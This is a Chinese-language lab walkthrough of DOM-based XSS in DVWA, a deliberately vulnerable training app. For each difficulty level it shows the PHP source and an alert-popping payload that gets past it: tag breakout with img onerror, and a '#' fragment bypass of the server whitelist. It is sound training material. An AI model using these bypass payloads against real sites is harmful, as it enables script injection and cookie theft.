DVWA DOM Based Cross Site Scripting (DOM型 XSS)

在这里插入图片描述


参考文献


XSS跨站原理

当应用程序发送给浏览器的页面中包含用户提交的数据,但没有经过适当验证或转义时,就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性,而不是缺陷;

浏览器同源策略:只有发布Cookie的网站才能读取Cookie。

会造成Cookie窃取、劫持用户Web行为、结合CSRF进行针对性攻击等危害

DOM型

基于文档对象模型(Document Object Model)的一种漏洞;

DOM型与反射型类似,都需要攻击者诱使用户点击专门设计的URL;

Dom型 xss 是通过 url 传入参数去控制触发的;

Dom型返回页面源码中看不到输入的payload, 而是保存在浏览器的DOM中。

Low

1、分析网页源代码

1
2
3
4
5
6
<?php

# No protections, anything goes

?>
//没有任何防御措施

image-20240425141612735

2、修改default,在URL拼接Payload

1
<script>alert(/XSS/)</script>

image-20240425141658717

Medium

1、分析网页源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>

增加对"<script"字符的过滤,查看前端代码

image-20240425143147799

2、构造闭合"option"和"select"标签,执行弹出"/xss/“的语句

1
</optin></select><img src = 1 onerror = alert(/xss/)>

image-20240616160139823

image-20240616161058852

High

1、分析网页源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

?>

2、在注入的 payload 中加入注释符 “#”,注释后边的内容不会发送到服务端,但是会被前端代码所执行。

1
(空格)#<script>alert(/xss/)</script>

image-20240616161314789

image-20240616161408461

Impossible

1
2
3
4
5
6
<?php

# Don't need to do anything, protction handled on the client side

?>
# 大多数情况下浏览器都会对 URL 中的内容进行编码,这会阻止任何注入的 JavaScript 被执行。